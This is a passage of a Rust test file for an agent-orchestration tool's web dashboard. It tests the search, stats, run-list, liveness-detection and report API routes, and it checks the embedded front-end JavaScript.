10055 let parts = snippet_of(&text, &["a".repeat(120)]);
10056 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10057 }
10058
10059 #[tokio::test]
10060 async fn search_caps_hits_and_snippet_length() {
10061 let f = Fixture::start().await;
10062 let runs = f.runs();
10063 for n in 0..(SEARCH_MAX_HITS + 5) {
10064 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10065 }
10066 let v = f.get("/api/search?scope=runs&q=web").await.json();
10067 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10068 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10069 assert_eq!(v["truncated"], true);
10070 assert!(
10072 v["hits"]
10073 .as_array()
10074 .unwrap()
10075 .iter()
10076 .all(|h| h["run"]["status"] == "merged")
10077 );
10078
10079 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10080 let parts = snippet_of(&long, &["needle".to_owned()]);
10081 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10082 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10083 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10084 }
10085
10086 #[tokio::test]
10087 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10088 let f = Fixture::start().await;
10089 let queue = f.queue();
10090 let mut t = Task::new(
10091 "short title".to_owned(),
10092 "line one\nthe hidden Armadillo detail".to_owned(),
10093 PathBuf::from("/repo/magi"),
10094 Source::Agent {
10095 run: "r1".to_owned(),
10096 node: "chat".to_owned(),
10097 },
10098 );
10099 t.last_error = Some("disk full on /tmp".to_owned());
10100 queue.put(&mut t).expect("file the task");
10101
10102 for (q, want) in [
10103 ("armadillo", 1),
10104 ("disk%20FULL", 1),
10105 ("chat", 1),
10106 ("queued", 1),
10107 ("short%20nothing", 0),
10108 ] {
10109 let v = f
10110 .get(&format!("/api/search?scope=tasks&q={q}"))
10111 .await
10112 .json();
10113 assert_eq!(v["total"], want, "{q}: {v}");
10114 }
10115 for bad in [
10116 "/api/search?scope=tasks&q=",
10117 "/api/search?scope=tasks&q=%20",
10118 "/api/search?scope=chats&q=",
10119 "/api/search?scope=chats&q=%20",
10120 "/api/search?scope=nope&q=a",
10121 "/api/search?q=a",
10122 ] {
10123 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10124 }
10125 }
10126
10127 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10129 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10130 .expect("seat value");
10131 let turns: Vec<serde_json::Value> = turns
10132 .iter()
10133 .map(|(who, body)| {
10134 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10135 })
10136 .collect();
10137 let doc = serde_json::json!({
10138 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10139 "status": status, "turns": turns,
10140 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10141 "seat": seat,
10142 });
10143 let dir = f.home.path().join("talks");
10144 std::fs::create_dir_all(&dir).expect("talks dir");
10145 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10146 }
10147
10148 #[tokio::test]
10149 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10150 let f = Fixture::start().await;
10151 write_talk(
10152 &f,
10153 "20260901-000001-aaaa",
10154 "open",
10155 &[
10156 (
10157 "operator",
10158 "\n Why does the Pangolin cache expire?\nsecond line",
10159 ),
10160 ("agent", "Because the TTL is thirty seconds."),
10161 ],
10162 );
10163 write_talk(
10164 &f,
10165 "20260901-000002-bbbb",
10166 "closed",
10167 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10168 );
10169 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10170
10171 let search = |q: &'static str| {
10172 let f = &f;
10173 async move {
10174 f.get(&format!("/api/search?scope=chats&q={q}"))
10175 .await
10176 .json()
10177 }
10178 };
10179
10180 let v = search("PANGOLIN").await;
10181 assert_eq!(v["scope"], "chats");
10182 assert_eq!(v["total"], 1, "{v}");
10183 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10184 assert_eq!(v["hits"][0]["field"], "title");
10185 assert_eq!(v["unreadable"], 1, "{v}");
10186 let marked: Vec<&str> = v["hits"][0]["snippet"]
10187 .as_array()
10188 .unwrap()
10189 .iter()
10190 .filter(|p| p["hit"] == true)
10191 .map(|p| p["text"].as_str().unwrap())
10192 .collect();
10193 assert_eq!(marked, ["Pangolin"]);
10194
10195 let v = search("zebra").await;
10197 assert_eq!(v["total"], 1, "{v}");
10198 assert_eq!(v["hits"][0]["field"], "agent");
10199 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10201 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10202 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10204 assert_eq!(search(q).await["total"], 0, "{q}");
10205 }
10206 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10208 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10210
10211 let v = f.get("/api/search?scope=nope&q=a").await;
10212 assert_eq!(v.status, 400);
10213 assert!(
10214 v.body.contains("scope must be runs, tasks or chats"),
10215 "{}",
10216 v.body
10217 );
10218 }
10219
10220 #[test]
10221 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10222 let start = APP_JS
10223 .find("function scheduleSearch(")
10224 .expect("scheduleSearch exists");
10225 let body = &APP_JS[start..];
10226 let body = &body[..body.find("\n}\n").expect("function end")];
10227 assert!(body.contains("s.seq += 1"));
10228 }
10229
10230 #[tokio::test]
10235 async fn stats_runs_unreadable_matches_health() {
10236 let f = Fixture::start().await;
10237 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10238 let broken = f.runs().join("20260902-140502-bad");
10239 std::fs::create_dir_all(&broken).expect("run dir");
10240 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10241
10242 let stats = f.get("/api/stats").await;
10243 let health = f.get("/api/health").await;
10244
10245 assert_eq!(stats.status, 200);
10246 assert_eq!(stats.json()["totals"]["runs"], 1);
10247 assert_eq!(stats.json()["runs_unreadable"], 1);
10248 assert_eq!(
10249 stats.json()["runs_unreadable"],
10250 health.json()["runs_unreadable"],
10251 "the dashboard and /api/health must never disagree about how many \
10252 runs could not be read"
10253 );
10254 }
10255
10256 #[tokio::test]
10257 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10258 let f = Fixture::start().await;
10259 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10260 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10261 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10262
10263 let totals = &f.get("/api/stats").await.json()["totals"];
10264 assert_eq!(totals["runs"], 3);
10265 assert_eq!(totals["merged"], 1);
10266 assert_eq!(totals["stalled"], 1);
10267 assert_eq!(totals["in_progress"], 1);
10268 assert_eq!(totals["blocked"], 0);
10271 assert_eq!(totals["ready"], 0);
10272 }
10273
10274 #[tokio::test]
10275 async fn stats_advisors_report_proposals_and_reflection() {
10276 use crate::advise::{Advice, AdvisorRecord, Reflection};
10277 use crate::verdict::Proposal;
10278
10279 let f = Fixture::start().await;
10280 let mut state = RunState::new(
10281 PathBuf::from("/repo/magi"),
10282 "main".to_owned(),
10283 "0123456789abcdef".to_owned(),
10284 "task".to_owned(),
10285 Config::default(),
10286 );
10287 state.id = "20260902-140501-a".to_owned();
10288 state.status = RunStatus::Merged;
10289 state.advice = Some(Advice {
10290 records: vec![
10291 AdvisorRecord {
10292 seat: "advisor-1".to_owned(),
10293 agent: "alpha".to_owned(),
10294 proposal: Some(Proposal {
10295 approach: "do it".to_owned(),
10296 key_tradeoff: "speed over memory".to_owned(),
10297 risks: Vec::new(),
10298 touches: Vec::new(),
10299 why_not_naive: "breaks under load".to_owned(),
10300 }),
10301 error: None,
10302 duration_ms: 0,
10303 reflection: Reflection::Strong,
10304 },
10305 AdvisorRecord {
10306 seat: "advisor-2".to_owned(),
10307 agent: "alpha".to_owned(),
10308 proposal: None,
10309 error: Some("timed out".to_owned()),
10310 duration_ms: 0,
10311 reflection: Reflection::Absent,
10312 },
10313 ],
10314 synthesis: Some("blended brief".to_owned()),
10315 });
10316 let dir = f.runs().join(&state.id);
10317 std::fs::create_dir_all(&dir).expect("run dir");
10318 std::fs::write(
10319 dir.join("run.json"),
10320 serde_json::to_string_pretty(&state).expect("serialize run"),
10321 )
10322 .expect("write run.json");
10323
10324 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10325 let alpha = advisors
10326 .as_array()
10327 .expect("an array")
10328 .iter()
10329 .find(|a| a["agent"] == "alpha")
10330 .expect("alpha row");
10331 assert_eq!(alpha["seated"], 2);
10332 assert_eq!(alpha["proposed"], 1);
10333 assert_eq!(alpha["absent"], 1);
10334 assert_eq!(alpha["strong"], 1);
10335 assert_eq!(alpha["faint"], 0);
10336 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10337 }
10338
10339 #[tokio::test]
10340 async fn stats_release_bumps_split_clean_from_attention() {
10341 use crate::run::ReleaseBump;
10342
10343 let f = Fixture::start().await;
10344
10345 let mut clean = RunState::new(
10346 PathBuf::from("/repo/magi"),
10347 "main".to_owned(),
10348 "0123456789abcdef".to_owned(),
10349 "task".to_owned(),
10350 Config::default(),
10351 );
10352 clean.id = "20260902-140501-a".to_owned();
10353 clean.status = RunStatus::Merged;
10354 clean.release_bump = Some(ReleaseBump {
10355 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10356 version: Some("1.0.0".to_owned()),
10357 automerge_enabled: true,
10358 merged_directly: false,
10359 local: false,
10360 problem: None,
10361 action_required: None,
10362 });
10363
10364 let mut blocked = RunState::new(
10365 PathBuf::from("/repo/magi"),
10366 "main".to_owned(),
10367 "0123456789abcdef".to_owned(),
10368 "task".to_owned(),
10369 Config::default(),
10370 );
10371 blocked.id = "20260902-140502-b".to_owned();
10372 blocked.status = RunStatus::Merged;
10373 blocked.release_bump = Some(ReleaseBump {
10374 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10375 version: Some("1.0.1".to_owned()),
10376 automerge_enabled: false,
10377 merged_directly: false,
10378 local: false,
10379 problem: Some("checks red".to_owned()),
10380 action_required: Some("look at the PR".to_owned()),
10381 });
10382
10383 for state in [&clean, &blocked] {
10384 let dir = f.runs().join(&state.id);
10385 std::fs::create_dir_all(&dir).expect("run dir");
10386 std::fs::write(
10387 dir.join("run.json"),
10388 serde_json::to_string_pretty(state).expect("serialize run"),
10389 )
10390 .expect("write run.json");
10391 }
10392
10393 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10394 assert_eq!(bumps["merged"], 2);
10395 assert_eq!(bumps["recorded"], 2);
10396 assert_eq!(bumps["pr_opened"], 2);
10397 assert_eq!(bumps["automerge_enabled"], 1);
10398 assert_eq!(bumps["needs_attention"], 1);
10399 assert_eq!(bumps["clean"], 1);
10400 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10401 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10402 }
10403
10404 #[tokio::test]
10405 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10406 let f = Fixture::start().await;
10407 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10408
10409 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10410 assert_eq!(bumps["merged"], 1);
10411 assert_eq!(bumps["recorded"], 0);
10412 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10415 assert_eq!(bumps["automerge_rate"], Value::Null);
10418 assert_eq!(bumps["attention_rate"], Value::Null);
10419 }
10420
10421 #[tokio::test]
10422 async fn stats_queue_counts_come_from_the_live_queue() {
10423 let f = Fixture::start().await;
10424 let q = f.queue();
10425 let mut queued = Task::new(
10426 "queued task".to_owned(),
10427 "do it".to_owned(),
10428 PathBuf::from("/repo"),
10429 Source::Human,
10430 );
10431 q.put(&mut queued).expect("put queued");
10432 let mut held = Task::new(
10433 "held task".to_owned(),
10434 "do it later".to_owned(),
10435 PathBuf::from("/repo"),
10436 Source::Human,
10437 );
10438 held.hold_machine(Some("out of attempts".to_owned()));
10439 q.put(&mut held).expect("put held");
10440
10441 let queue = f.get("/api/stats").await.json()["queue"].clone();
10442 assert_eq!(queue["queued"], 1);
10443 assert_eq!(queue["held"], 1);
10444 assert_eq!(queue["running"], 0);
10445 assert_eq!(queue["done"], 0);
10446 assert_eq!(queue["failed"], 0);
10447 assert_eq!(queue["blocked"], 0);
10448 }
10449
10450 #[tokio::test]
10451 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10452 let f = Fixture::start().await;
10453 let stats = f.get("/api/stats").await;
10454 assert_eq!(stats.status, 200);
10455 assert_eq!(stats.json()["totals"]["runs"], 0);
10456 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10457 assert_eq!(stats.json()["runs_unreadable"], 0);
10458 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10459 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10460 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10461 assert_eq!(stats.json()["repo"], Value::Null);
10462 }
10463
10464 #[tokio::test]
10465 async fn stats_lists_every_repository_with_runs_recorded() {
10466 let f = Fixture::start().await;
10467 write_run_repo(
10468 &f.runs(),
10469 "20260902-140501-a",
10470 RunStatus::Merged,
10471 "/repos/a",
10472 );
10473 write_run_repo(
10474 &f.runs(),
10475 "20260902-140502-b",
10476 RunStatus::Merged,
10477 "/repos/a",
10478 );
10479 write_run_repo(
10480 &f.runs(),
10481 "20260902-140503-c",
10482 RunStatus::Blocked,
10483 "/repos/b",
10484 );
10485
10486 let stats = f.get("/api/stats").await;
10487 assert_eq!(stats.status, 200);
10488 assert_eq!(stats.json()["totals"]["runs"], 3);
10490 assert_eq!(stats.json()["repo"], Value::Null);
10491
10492 let repos = stats.json()["repos"].clone();
10493 let repos = repos.as_array().unwrap();
10494 assert_eq!(repos.len(), 2);
10495 assert_eq!(repos[0]["repo"], "/repos/a");
10497 assert_eq!(repos[0]["name"], "a");
10498 assert_eq!(repos[0]["runs"], 2);
10499 assert_eq!(repos[1]["repo"], "/repos/b");
10500 assert_eq!(repos[1]["runs"], 1);
10501 }
10502
10503 #[tokio::test]
10504 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10505 let f = Fixture::start().await;
10506 write_run_repo(
10507 &f.runs(),
10508 "20260902-140501-a",
10509 RunStatus::Merged,
10510 "/repos/a",
10511 );
10512 write_run_repo(
10513 &f.runs(),
10514 "20260902-140502-b",
10515 RunStatus::Blocked,
10516 "/repos/b",
10517 );
10518
10519 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10520 assert_eq!(stats.status, 200);
10521 assert_eq!(stats.json()["totals"]["runs"], 1);
10522 assert_eq!(stats.json()["totals"]["merged"], 1);
10523 assert_eq!(stats.json()["repo"], "/repos/a");
10524 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10527 assert_eq!(stats.json()["runs_unreadable"], 0);
10530 }
10531
10532 #[tokio::test]
10533 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10534 let f = Fixture::start().await;
10535 write_run_repo(
10536 &f.runs(),
10537 "20260902-140501-a",
10538 RunStatus::Merged,
10539 "/repos/a",
10540 );
10541
10542 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10543 assert_eq!(stats.status, 404);
10544 }
10545
10546 #[tokio::test]
10547 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10548 let f = Fixture::start().await;
10549 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10550
10551 let summary = f.get("/api/runs").await.json();
10552 let row = &summary[0];
10553 assert_eq!(row["short"], "a1b2");
10554 assert_eq!(row["status"], "ready");
10555 assert_eq!(row["done"], true);
10556 assert_eq!(row["title"], "Add a web UI");
10557 assert_eq!(row["repo_name"], "magi");
10558 assert_eq!(row["judges"], 3);
10559 assert_eq!(row["winner"], Value::Null);
10560 assert_eq!(row["reviews"], 0);
10561
10562 let detail = f.get("/api/runs/a1b2").await;
10565 assert_eq!(detail.status, 200);
10566 assert_eq!(detail.json()["base_branch"], "main");
10567 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10568 }
10569
10570 #[tokio::test]
10578 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10579 let f = Fixture::start().await;
10580
10581 let mut none_run = RunState::new(
10582 PathBuf::from("/repo/magi"),
10583 "main".to_owned(),
10584 "0123456789abcdef".to_owned(),
10585 "Add a web UI".to_owned(),
10586 Config::default(),
10587 );
10588 none_run.id = "20260902-140503-none".to_owned();
10589 none_run.status = RunStatus::Ready;
10590 none_run.merge = Some(crate::run::MergeOutcome {
10591 mode: crate::config::MergeMode::None,
10592 ok: true,
10593 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10594 empty: false,
10595 });
10596 write_state(&f.runs(), &none_run);
10597
10598 let mut pr_run = RunState::new(
10599 PathBuf::from("/repo/magi"),
10600 "main".to_owned(),
10601 "0123456789abcdef".to_owned(),
10602 "Add a web UI".to_owned(),
10603 Config::default(),
10604 );
10605 pr_run.id = "20260902-140504-prcl".to_owned();
10606 pr_run.status = RunStatus::Ready;
10607 pr_run.merge = Some(crate::run::MergeOutcome {
10608 mode: crate::config::MergeMode::Pr,
10609 ok: false,
10610 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10611 empty: false,
10612 });
10613 write_state(&f.runs(), &pr_run);
10614
10615 let summary = f.get("/api/runs").await.json();
10616 let rows: std::collections::HashMap<&str, &Value> = summary
10617 .as_array()
10618 .expect("an array")
10619 .iter()
10620 .map(|r| (r["id"].as_str().expect("an id"), r))
10621 .collect();
10622 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10623 assert_eq!(
10624 rows[none_run.id.as_str()]["unmerged_by_design"],
10625 true,
10626 "a mode-none Ready must be flagged in the list"
10627 );
10628 assert_eq!(
10629 rows[pr_run.id.as_str()]["unmerged_by_design"],
10630 false,
10631 "a Ready reached by a closed pull request is a different case"
10632 );
10633
10634 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10635 assert_eq!(none_detail["status"], "ready");
10636 assert_eq!(none_detail["unmerged_by_design"], true);
10637
10638 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10639 assert_eq!(pr_detail["unmerged_by_design"], false);
10640 }
10641
10642 #[tokio::test]
10647 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10648 let f = Fixture::start().await;
10649 let id = "20260902-140502-bbbb";
10653 let mut state = RunState::new(
10654 PathBuf::from("/repo/magi"),
10655 "main".to_owned(),
10656 "0123456789abcdef".to_owned(),
10657 "Add a web UI".to_owned(),
10658 Config::default(),
10659 );
10660 state.id = id.to_owned();
10661 state.status = RunStatus::Judging;
10662 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10663 let dir = f.runs().join(id);
10664 std::fs::create_dir_all(&dir).expect("run dir");
10665 std::fs::write(
10666 dir.join("run.json"),
10667 serde_json::to_string_pretty(&state).expect("serialize run"),
10668 )
10669 .expect("write run.json");
10670
10671 let cold = f.get(&format!("/api/runs/{id}")).await.json();
10677 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
10678 assert_eq!(cold["live"], "unknown", "{cold}");
10679
10680 write_daemon(f.home.path(), Timestamp::now());
10683 let warm = f.get(&format!("/api/runs/{id}")).await.json();
10684 assert_eq!(warm["live"], "live", "{warm}");
10685 }
10686
10687 #[tokio::test]
10690 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
10691 let f = Fixture::start().await;
10692 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
10693 let mut state = RunState::new(
10694 PathBuf::from("/repo/magi"),
10695 "main".to_owned(),
10696 "0123456789abcdef".to_owned(),
10697 "Add a web UI".to_owned(),
10698 Config::default(),
10699 );
10700 state.id = id.to_owned();
10701 state.origin = origin;
10702 let mut value = serde_json::to_value(&state).expect("serialize run");
10703 if let Some(schema) = schema {
10704 value["schema"] = serde_json::json!(schema);
10705 value.as_object_mut().unwrap().remove("origin");
10706 }
10707 let dir = f.runs().join(id);
10708 std::fs::create_dir_all(&dir).expect("run dir");
10709 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
10710 };
10711 write(
10712 "20260930-092817-ec34",
10713 Some(crate::run::Origin::from_agent_env(
10714 Some(("4a7b".to_owned(), "chat".to_owned())),
10715 None,
10716 )),
10717 None,
10718 );
10719 write("20260930-092817-0ld1", None, Some(12));
10720
10721 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
10722 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
10723 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
10724
10725 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
10726 assert_eq!(
10727 old["origin_label"], "origin unknown (started before origins were recorded)",
10728 "{old}"
10729 );
10730 assert!(old["origin"].is_null(), "{old}");
10731
10732 let list = f.get("/api/runs").await.json();
10733 let labels: Vec<_> = list
10734 .as_array()
10735 .unwrap()
10736 .iter()
10737 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
10738 .collect();
10739 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
10740 }
10741
10742 #[tokio::test]
10749 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
10750 let f = Fixture::start().await;
10751 let id = "20260922-090000-cccc";
10752 let mut state = RunState::new(
10753 PathBuf::from("/repo/magi"),
10754 "main".to_owned(),
10755 "0123456789abcdef".to_owned(),
10756 "Review only".to_owned(),
10757 Config::default(),
10758 );
10759 state.id = id.to_owned();
10760 state.status = RunStatus::Reviewing;
10761 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10762 state.driver_pid = Some(std::process::id());
10768 state.driver_started_at = Some(
10769 crate::proc::process_started_at(std::process::id())
10770 .expect("this test process's own start time must be queryable"),
10771 );
10772 let dir = f.runs().join(id);
10773 std::fs::create_dir_all(&dir).expect("run dir");
10774 std::fs::write(
10775 dir.join("run.json"),
10776 serde_json::to_string_pretty(&state).expect("serialize run"),
10777 )
10778 .expect("write run.json");
10779
10780 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10781 assert_eq!(detail["live"], "live", "{detail}");
10782 }
10783
10784 #[tokio::test]
10790 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
10791 let f = Fixture::start().await;
10792 let id = "20260922-090100-dddd";
10793 let mut state = RunState::new(
10794 PathBuf::from("/repo/magi"),
10795 "main".to_owned(),
10796 "0123456789abcdef".to_owned(),
10797 "Review only".to_owned(),
10798 Config::default(),
10799 );
10800 state.id = id.to_owned();
10801 state.status = RunStatus::Reviewing;
10802 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10803 state.driver_pid = Some(std::process::id());
10808 state.driver_started_at = Some("1".to_owned());
10809 let dir = f.runs().join(id);
10810 std::fs::create_dir_all(&dir).expect("run dir");
10811 std::fs::write(
10812 dir.join("run.json"),
10813 serde_json::to_string_pretty(&state).expect("serialize run"),
10814 )
10815 .expect("write run.json");
10816
10817 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10818 assert_eq!(detail["live"], "dead", "{detail}");
10819 }
10820
10821 #[test]
10825 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
10826 let mk = |id: &str, pid: Option<u32>| {
10827 let mut s = RunState::new(
10828 PathBuf::from("/repo/magi"),
10829 "main".to_owned(),
10830 "0123456789abcdef".to_owned(),
10831 "Add a web UI".to_owned(),
10832 Config::default(),
10833 );
10834 s.id = id.to_owned();
10835 s.driver_pid = pid;
10836 s.driver_started_at = Some("1790000000".to_owned());
10837 s
10838 };
10839 let states = vec![
10840 mk("20260902-140502-aaaa", Some(77)),
10841 mk("20260902-140502-bbbb", Some(77)),
10842 mk("20260902-140502-cccc", Some(77)),
10843 mk("20260902-140502-dddd", None),
10844 ];
10845 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
10846 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
10847 let sup: HashMap<String, String> = [(
10848 "20260902-140502-aaaa".to_owned(),
10849 "20260902-140502-cccc".to_owned(),
10850 )]
10851 .into();
10852
10853 let status_calls = std::cell::Cell::new(0);
10854 let identity_calls = std::cell::Cell::new(0);
10855 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
10856 |_| {
10857 status_calls.set(status_calls.get() + 1);
10858 Some(true)
10859 },
10860 |_| {
10861 identity_calls.set(identity_calls.get() + 1);
10862 Some("1790000000".to_owned())
10863 },
10864 ));
10865 let rows = summarize(
10866 states,
10867 &open,
10868 &claimed,
10869 &sup,
10870 |p| probe.borrow_mut().status(p),
10871 |p| probe.borrow_mut().started_at(p),
10872 );
10873
10874 assert_eq!(status_calls.get(), 1, "one pid, one status query");
10875 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
10876 assert_eq!(rows.len(), 4);
10877 assert!(!rows[0].waiting && rows[1].waiting);
10878 assert_eq!(rows[0].live, crate::run::Liveness::Live);
10879 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
10880 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
10881 assert_eq!(rows[1].superseded_by, None);
10882 }
10883
10884 #[test]
10885 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
10886 let mut state = RunState::new(
10887 PathBuf::from("/repo/magi"),
10888 "main".to_owned(),
10889 "0123456789abcdef".to_owned(),
10890 "Review only".to_owned(),
10891 Config::default(),
10892 );
10893 state.id = "20260922-090200-dead".to_owned();
10894 state.status = RunStatus::Reviewing;
10895 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
10896 .expect("serialize list row");
10897 assert_eq!(row["status"], "reviewing");
10898 assert_eq!(row["live"], "dead", "{row}");
10899 assert!(!row["done"].as_bool().unwrap());
10900 }
10901
10902 #[tokio::test]
10903 async fn the_run_list_is_newest_first_and_honours_a_limit() {
10904 let f = Fixture::start().await;
10905 for id in [
10906 "20260902-140501-aaaa",
10907 "20260902-140502-bbbb",
10908 "20260902-140503-cccc",
10909 ] {
10910 write_run(&f.runs(), id, RunStatus::Merged);
10911 }
10912
10913 let all = f.get("/api/runs").await.json();
10914 let capped = f.get("/api/runs?limit=2").await.json();
10915
10916 assert_eq!(all[0]["id"], "20260902-140503-cccc");
10917 assert_eq!(all.as_array().map(Vec::len), Some(3));
10918 assert_eq!(capped.as_array().map(Vec::len), Some(2));
10919 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
10920 }
10921
10922 #[tokio::test]
10923 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
10924 let f = Fixture::start().await;
10925 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
10926
10927 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
10928
10929 assert_eq!(res.status, 200);
10930 assert!(
10931 res.headers
10932 .contains("content-type: text/plain; charset=utf-8"),
10933 "a browser must render it, not download it: {}",
10934 res.headers
10935 );
10936 assert!(
10940 res.body.contains("20260902-140501-a1b2"),
10941 "the report is about the run that was asked for: {}",
10942 res.body
10943 );
10944 }
10945
10946 #[tokio::test]
10947 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
10948 let f = Fixture::start().await;
10949
10950 let html = f.get("/").await;
10951 let css = f.get("/app.css").await;
10952 let js = f.get("/app.js").await;
10953
10954 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
10955 assert!(
10956 html.headers
10957 .contains("content-type: text/html; charset=utf-8")
10958 );
10959 assert!(css.headers.contains("content-type: text/css"));
10960 assert!(js.headers.contains("content-type: text/javascript"));
10961 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
10962 }
10963
10964 #[test]
10965 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
10966 let body = |name: &str| {
10967 let at = APP_JS
10968 .find(name)
10969 .unwrap_or_else(|| panic!("{name} missing"));
10970 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
10971 };
10972 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
10973 let note = body("function landRoundNote");
10974 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
10975 assert!(note.contains("Land round ${round}"));
10976 let land = body("function renderLand");
10977 let note_at = land
10978 .find("landRoundNote(pr)")
10979 .expect("renderLand uses the note");
10980 assert!(
10981 note_at
10982 < land
10983 .find("roundRail(pr)")
10984 .expect("renderLand uses the rail")
10985 );
10986 }
10987
10988 #[test]
10989 fn the_runs_page_redesign_keeps_its_guards() {
10990 let body = |name: &str| {
10991 let at = APP_JS
10992 .find(name)
10993 .unwrap_or_else(|| panic!("{name} missing"));
10994 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
10995 };
10996 let land = body("function renderLand");
10998 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
10999 assert!(
11000 !land.contains("box.append("),
11001 "renderLand must use append()"
11002 );
11003 assert!(land.contains("append(box, ["));
11004 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11006 assert!(
11007 body("function applyRoute")
11008 .contains("route.name !== state.route.name || route.id !== state.route.id")
11009 );
11010 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11012 assert!(!INDEX_HTML.contains("advise-converge"));
11013 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
